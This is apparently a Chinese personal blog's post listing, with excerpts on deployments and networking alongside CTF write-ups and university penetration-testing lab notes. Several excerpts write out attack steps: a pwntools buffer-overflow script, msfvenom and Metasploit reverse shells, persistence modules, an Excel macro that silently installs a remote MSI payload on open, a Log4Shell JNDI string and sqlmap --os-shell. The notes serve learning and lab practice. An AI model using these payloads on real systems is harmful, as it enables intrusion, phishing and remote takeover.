前言
这篇文章已经有一年多的时间了,不建议按照这篇文章进行部署,请大家移步:官方文档
最早接触的自建CTF平台就是CTFd,然后在GitHub上面又发现了GZTime大佬开发的GZCTF平台,然后就尝试着部署了,因为是全新的架构,部署的时候遇到了问题也在群里得到了解决,现在又想着在内网重新搭建一遍,发现有些细节的地方有点忘了,所以就想着写下这篇文章记录一下,也方便后续自己可能在其他地方进行部署的时候能比较快的完成部署。
准备内容
在GitHub上找到项目的Releases下载最新版的包(开发师傅不推荐用git) 这个方法弃用了
现在只需准备下文的docker-compose.yml和appsettings.json文件即可
安装好docker和docker-compose,这两项的安装网上有教学
端口暴露范围设置这里可设置也可以不设置,看个人需求,如果是云服务器的还是推荐设置,内网的话那就无所谓了,这里只列出docker部署时的设置方法,k3s及其他方式的可以看官方给的readme(下面的命令也是从readme里面抄来的)
sudo nano /etc/s ...
前情在上周五(2.27)我把开发机接上了教育网的网段(社团这边可以接入,我们就用交换机做了vlan实现了教育网进主路由和直连社团的服务器)
我神奇的发现了接入教育网的网卡分到了IPv6的地址,于是乎就把主路由上的IPv6也打开了(因为之前一直没有分配IPv6的地址,所以就把wan口上获取IPv6的功能给关掉了)
wan口配置新建一个接口,命名为wan6,协议选择DHCPv6客户端,分别分配到了一个/128和一个/64,以下是这些前缀的解释
前缀
用途
/128
单个设备地址(相当于 IPv4 的单个 IP)/用于 loopback(回环地址)
/64
单个子网(最常见)
/48
ISP 分配给企业或组织的网络前缀,通常包含多个 /64 子网
/32
ISP 分配给大型机构或服务提供商
那么也就是说这个时候是可以给我们内网的所有机器都分配一个教育网的IPv6地址,但是经过测试是整个学校的内网都有分配IPv6,且没有做隔离,也就是校内整个大内网都可以互联互通。因为我们内网的服务器基本都是弱口令(因为不想记密码),出于安全考虑,我们 ...
起因去年买了小米14后,红米note7就彻底空闲了,因为我去折腾k40 pro+了(换了Global版的hyperos,刷了magisk);偶然间我看到了红米note7可以刷Ubuntu touch,于是罪魁祸首出现了,刷完,我感觉也就那样,就想着刷miui了,结果自己操作失误,就变砖了,然后就放一边不管了。
今年暑假回家,因为村里的基站出了问题,信号强度不怎么好,外婆的老人机接收信号的能力又不咋地,导致经常性的联系不上她,所以就把卡安到了我舅留给她用来打微信的手机上,也教会了她怎么打电话接电话,但是那台手机实在是太卡了,红米note5,只安装了一个微信这么个应用都卡得不得了,所以就想着把我的note7拿回去给我外婆,于是就开启了救砖之路
救砖之路经了解知道了高通芯片的手机可以通过短接的方法进入9008模式,然后进行刷机
然后就是一顿操作:拆机–>短接–>进入9008–>然后用QPST/miflash工具刷机
ok,正常操作就是上述操作,按正常逻辑来说就可以完成刷机了(这里的前提是已经安装了高通的驱动,这部分在miflash可以完成)
但是怎么可能这么顺利呢 ...
前言自从chatgpt出世以来,对于ai的依赖是越来越大,但是对于国内的各类ai并不是很感冒,还是比较喜欢用国外的ai,当然也还有一个原因,因为使用教育邮箱可以白嫖copilot,这对于学计算机的学生来说实在是太香了(PS: 还是不建议太过于依赖ai,不然代码都不懂怎么码了)
还有就是baidu有些时候真的是太难用了,搜个东西排前面的全都是打广告的,要想找到想要的还得往下翻
鉴于上诉原因,我对于科学上网就有了一定的需求(但是不大);正常情况下,大家一般都是使用的clash、v2rayn等客户端软件在自己的电脑或者手机上运行,以达到科学上网的目的,但我觉得这样不优雅,再加上折腾过一段时间的openwrt,于是就开始去找在op上实现科学上网的方法,有很多方案,在这就不列举了。
需求因为我买了一台hk的vps,就自己搭建了一条链路使用,但是这台机器并不能解锁chatgpt,所以就需要用到分流,当访问chatgpt的时候使用其他的链路
在做这件事的过程中我用过了:v2raya和homeproxy这两个,目前是使用homeproxy,v2raya方案已经舍弃
探索之路v2v2raya这个方案是最 ...
应急响应
未读前言做这个两个靶机是因为在上的一个实践课的课设上面有一个题目就是有关应急响应的,提供的靶机就是知攻善防实验室其中的两个靶机
内容和要求随着信息技术的飞速发展,网络安全问题日益凸显,企业面临的网络攻击和数据泄露风险不断增大。作为一名应急响应工程师,你深知应急响应在网络安全防护中的重要性。假如你在驻场值守的过程中发现攻击事件,你需要进行应急响应操作。具体要求如下:
排查是否存在后门和账号情况;
找到攻击路径;
找到攻击者遗留的flag;
在找出攻击路径的基础上尽可能的还原攻击过程;
对发生的攻击的事件做出情况总结,如输出经验和教训,加固建议;
根据找出的漏洞,或者挑一到两个你熟悉的漏洞写成技战法。
Web2排查是否存在后门和账号情况打开计算机管理可以在本地用户和组可以看到有一个hack887$账号
在渗透测试过程中,创建带有$结尾的账号,在 net user 时默认是不显示的,起到一定的隐藏作用
使用D盾扫描WWW目录可以看存在后门木马文件system.php
查看当中的内容可以看到连接密码是:hack6618
攻击路径翻阅WWW目录下的所有log目录的文件,在FT ...
条件
拥有GitHub账号
已经构建好docusaurus
拥有自己的服务器
部署服务器生成ssh密钥运行 ssh-keygen命令即可生成公钥和私钥,只要把私钥添加到项目的仓库环境变量中即可
进入到你要用于ssh连接的用户的.ssh目录下,读取私钥
1cat ~/.ssh/id_rsa
添加仓库环境变量分别添加下面三个变量
变量名
说明
REMOTE_HOST
服务器IP或域名
REMOTE_USER
用户ssh连接的用户名,要和上面提供私钥的用户相对应
SSH_PRIVATE_KEY
私钥
工作流代码12345678910111213141516171819202122232425262728293031323334353637383940414243# 当前工作流的名称name: docusaurus-deployon: push: branches: - mainjobs: # 构建的任务,一个工作流有多个构建任务, build-and-deploy: runs-on: ubuntu-latest # 在什么服务器上面执行 ...
web还没想好名字的塔防游戏
打到第三波有弹窗
全局搜索这个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms 找到剩下的所有提示
根据题目说的xxx共有18位把Mystic Defense War: The Secret of Guardian Towers and Magical Monsters的首大写字母和三个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms、恭喜,您已消灭第10波怪物,这是第二条提示:Opal Oceans Glow和恭喜,您已消灭第100000波怪物,这是第三条提示:Elves Whisper Wonders的首大写字母拼接起来就得flag ISCC{MDWTSGTMMBBSOOGEWW}
原神启动根据报错信息,得知是一个8.5.32的tomcat,这个版本存在一个CVE-2020-1938
网上有脚本,可以直接梭哈,读flag
POC
12345678910111213141516171819202122232425262728293031323334353637383940414243 ...
起因
在搜索资料的时候看到了北大的一个科研组的主页,使用Hugo Blox(以前称为 Wowchemy Hugo Modules) Web 框架构建的。其中Research Group模板,很简洁,感觉还不错,就想把协会的主页给换了。
协会原有的主页是用的docusaurus搭建的,这个更像一种文档文库,不太适合用于主页展示。
部署部署和自定义的过程并不难,跟着官方文档走即可
官方文档
使用Netlify进行部署会简单很多,但是我不喜欢它的添加自己域名的那一块,所以我就选择了vercel部署,但是官方给的教程过于简略,有点过时了,并不适合当前的vercel环境
vercel部署注意事项如果只按照官方文档给的教程去部署,百分百失败,部署最后一定会提示部署时长超过了,vercel所支持的最大部署时长45分钟,这是翻译过的,大致意思就是这样。
这是因为vercel目前默认的node.js版本是20.x,这个版本安装附加包是使用 dnf install-y package-name
所以当我们使用默认的环境时,安装golang依赖就要使用 dnf install-y golang而不是 yu ...
网络渗透测试技术实验
未读分析漏洞在xp靶机上开启FTPServer
在kali上连接ftp,直接输入aaa/aaa即可进行登录,可以登陆成功,即该服务器并没有对用户进行限制
利用python生成一百个’a’登录,报错了
wireshark抓包得知,只发送出去了78个a
同时发送了100个a也没令软件崩溃,所以改用其他方法
使用脚本测试python发包测试
12345from pwn import *p = remote("192.168.100.143", 21)payload = 'A'*500p.sendline(payload)p.interactive()
程序崩溃了此时eip指向了0x41414141,从发送的数据’A’的ascii码是0x41得知,USER输入点存在栈溢出漏洞进一步的验证分析就不进行了,网上有更详细的分析过程
漏洞利用寻找jmp esp地址
只有一个地址,那就用:77D4754A这个地址
生成shellcode利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0 ...
Linux 入侵查杀使用history可以看到历史运行命令,从第22到25条命令可以看到在桌面有一个shell.sh的文件
把文件提取出来,然后使用微步云在线沙箱进行查杀分析
检测出有反弹shell的行为
世界杀毒网并没有检测出来
然后排查ssh日志,我的机器上没有发现异常日志Ubuntu的ssh日志是在记录在/var/log/auth.log里面的
Windows 入侵查杀
下列是在Windows7的环境下使用phpstudy+ucms搭建一个简易的网站,利用CVE-2020-25483上传一句话木马,实验指导书是使用phpmyadmin的弱口令进入后台,通过修改日志目录实现了恶意文件的写入,从而被上马。
使用360星图分析access日志文件,日志文件在C:\phpStudy\Apache\logs目录下,此时的目录并没有access文件
需要修改C:\phpStudy\Apache\conf下的httpd.conf文件,去掉红框前的注释符号,然后重启服务即可开启360星图,在运行前需要修改其配置文件,添加我们的日志地址然后运行星图根目录下的sta ...
这篇文章是在做网络渗透测试技术实验的时候写的,主要是以学习为目的
其中也还有很多的不足之处
windows 权限维持 注册后门在获得shell后background退出选择注册表后门模块
1use exploit/windows/local/persistence
然后选择好攻击模块设置参数,攻击机IP和端口,还有设置会话
12345set payload windows/x64/meterpreter/reverse_tcp //这句可以不写,因为默认攻击模块就是这个set lhost 192.168.100.133set lport 4455set session 1run
在靶机的对应目录下找到了vbs文件目录:C:\Users\win7\AppData\Local\Temp\
win+r打开运行输入regedit回车即可打开注册表然后在KCU\Software\Microsoft\Windows\CurrentVersion\Run下即可看到注册表也成功写入
回到攻击机设置msf,让两个红框的内容一致,执行run之后,重启靶机,即可发现,在登录了靶机之后msf自动上线成功 ...
网络渗透测试技术实验
未读excel 宏输入下列命令后,即可在目录下看到生成的msi
1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.129 lport=1234 -f msi -o diaoyu.msi
然后启动msf,使用multi/handler模块,并设置好对应的payload,然后输入run,进行监听然后启动python的http服务,是为了后续制作宏的时候提供有网络服务在自己的电脑上创建一个excel表格(实际情况下,文件名要符合实际,有吸引力,里面的内容最好也是真实的,这里因为是实验环境,所以数据都是捏造的)然后插入宏表打开浏览器输入kali的ip地址,看到下图后右键diaoyu.msi,选择复制链接地址然后在表格第一行输入=EXEC(“msiexec /q /i http://192.168.100.129/shell.msi“)第二行输入=HALT()然后选择A1的框,把A1改成Auto_Open(让excel打开时自动执行宏)然后回车即可然后就是隐藏宏,右键 ...
vscode
未读前言
在了解Vscode的隧道技术的时候就看到了一篇名为:《上课摸鱼必备 – Vscode网页版的搭建教程》的文章,然后发现这个还挺好玩的,而且手上有一台云服务器就搭起来试试
准备工作
需要一台用来起服务的机器,需要Linux环境,不一定要是云服务器,本地的服务器也可以,需要外网访问的话,云服务器会方便点,本地的服务器想外网访问那就需要内网穿透了
下载所需的包,下载地址:https://github.com/coder/code-server/releases/
我的服务器是Ubuntu22.04的所以就选了code-server-4.16.0-linux-amd64.tar.gz这个版本
部署
下载文件
1wget https://github.com/coder/code-server/releases/download/v4.16.0/code-server-4.16.0-linux-amd64.tar.gz
解压文件
1tar -zxvf code-server-4.16.0-linux-amd64.tar.gz
重命名
1mv code-server-4. ...
ReverseReverse_签到找到main函数,就看到了flag
Cryptoeasily_Caesar凯撒解码一把梭,key=24
Miscmedium_CTFvalues16进制转文本得到unicode编码
unicode转ascii码得到base64字符串
base64解码得到一个字符串,然后ascii码转文本
difficult_mobile_3jadx打开然后全局搜索base64,找字符串后进行ascii转字符
得到,把ip地址进行包裹提交
Pwneasily_pwn_1程序分析:64位程序,开启了NX保护
代码分析:有一个read函数和write函数,可以发现read函数(这里buf只有0x80字节,而read需要从buf中读取0x200个字节),存在溢出条件。
然后找是否存在后门函数
找到system函数的地址,是简单的栈溢出,找到偏移量为0x80+8,然后覆盖返回地址就可以了
exp:
123456789from pwn import *io = remote('192.168.1.1',9002)# io = ...
线上异常的工程直接strings查找flag
入侵事件记事本打开,然后根据题目意思,直接搜索password,就能找到准确时间(吐槽一下,题目描述错了)
签到题2
baby_pyc在线网站反编译代码解密脚本
12345678910from Crypto.Cipher import AESimport base64password = b'ragfwQEFAAAAAAAA'iv = b'1234567812345678'encrypted_text = base64.b64decode(b'HHAOD2xCZ0XIJTrOZB4t83wnFsi824jtpiRXI1usbkQ=')aes = AES.new(password,AES.MODE_CBC,iv)decrypted_text = aes.decrypt(encrypted_text).decode()print(decrypted_text)
unseen因为是gif图,打开时是缺少了头文件,所以直接补充回来然后用在线网站打开分析,观察红框中的字是在变化的,记录 ...
使用git init进行空仓库的初始化,但是仓库是有东西的话就可以不用做这一步
使用git status查看当前的状态,可以看到我对README.md进行了修改但是未提交
使用git add .将所有添加或修改过的文件添加到暂存区
使用git status再查看当前的状态,可以看到,文件就是被添加到了暂存区
使用git commit -m "提交信息"提交暂存区的内容到本地仓库,“提交信息”可以修改为你对于修改的或者是新增的文件的一个描述或者做出的修改
使用git remote add origin 远程仓库地址把文件添加到远程仓库
如果是第一次提交,需要先将远程仓库的内容拉取下来,直接推送会报错,使用git pull
使用git push把提交内容推送到远程仓库上
CTFshow
未读web29源码:
1234567891011121314151617181920212223 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-04 00:12:34# @Last Modified by: h1xa# @Last Modified time: 2020-09-04 00:26:48# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
分析源码得知过滤了字符串flag和i
system("l ...
打这个靶机的时候也是断断续续的,所以里面的目标IP前后对应不上,但是方法都是一样的。
扫端口1nmap -sC -sV 10.129.96.149
访问8080端口重定向到了8443
看到是unifi6.4.54版本的,结合官方给的WP知道这个版本有一个CVE,可以以此为出发点进行攻击
CVE-2021-44228的利用验证漏洞存在先验证是不是存在这个漏洞
抓包,因为是https的站,所以要对burpsuite进行一些设置Burp Suite抓HTTPS数据包教程
然后根据官方的WP,需要把remember的值改成${jndi:ldap://Tun 0的IP/o=tomcat}
验证存在
实施攻击漏洞利用环境搭建
更新&&安装环境
sudo apt update
sudo apt install openjdk-11-jdk -y
sudo apt-get install maven
安装工具
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi ...
在打靶机的时候网络有点问题,所以这份WP里的目标机器的IP前后是不一样的,但总的来说,方法大同小异
扫端口1nmap -sC -sV 10.129.252.99
开启了21、22和80端口,访问80端口,什么都没有,结合任务1和任务2,就直接练上去看有没有东西
ftp连上以后把文件复制出来
破解zip密码解压的时候发现是有密码的
看到任务4,和经过百度知道利用zip2john去获取压缩包的hash值,然后使用john去破解hash值
破解成功
backup的内容得到了两个文件
其中index.php里面有网站的管理员账号和密码,密码经过了md5加密,经过破解得到:qwerty789,这也是任务5的答案
sql注入登录到后台后有个搜索框尝试有无sql注入,发现可注入,加上任务6的提示,那就直接sqlmap一把梭
用burpsuite抓包保存到1.txt后,利用sqlmap进行注入,并利用--os-shell进行执行shell的命令
注入命令:
1sqlmap -r 1.txt --os-shell
反弹shell
攻击机监听
1nc -lvvp 1 ...
wsl
未读暂停wsl运行1wsl -l -v
有Running说明还在运行,需要将其停止运行
1wsl --shutdown
导出子系统导出你需要更改路径的Linux系统,例如我需要导出我的Ubuntu-22.04,并导出到d盘
1wsl --export Ubuntu-22.04 d:\Ubuntu-22.04.tar
在d盘就可以找到导出的文件
注销子系统注销要导出的子系统
1wsl --unregister Ubuntu-22.04
再次查看wsl的运行情况时,就没有了Ubuntu-22.04了
导入子系统1wsl --import Ubuntu-22.04 D:\wsl-ubuntu D:\Ubuntu-22.04.tar
import后面是:导入系统的名称+安装的路径+打包好的系统镜像的路径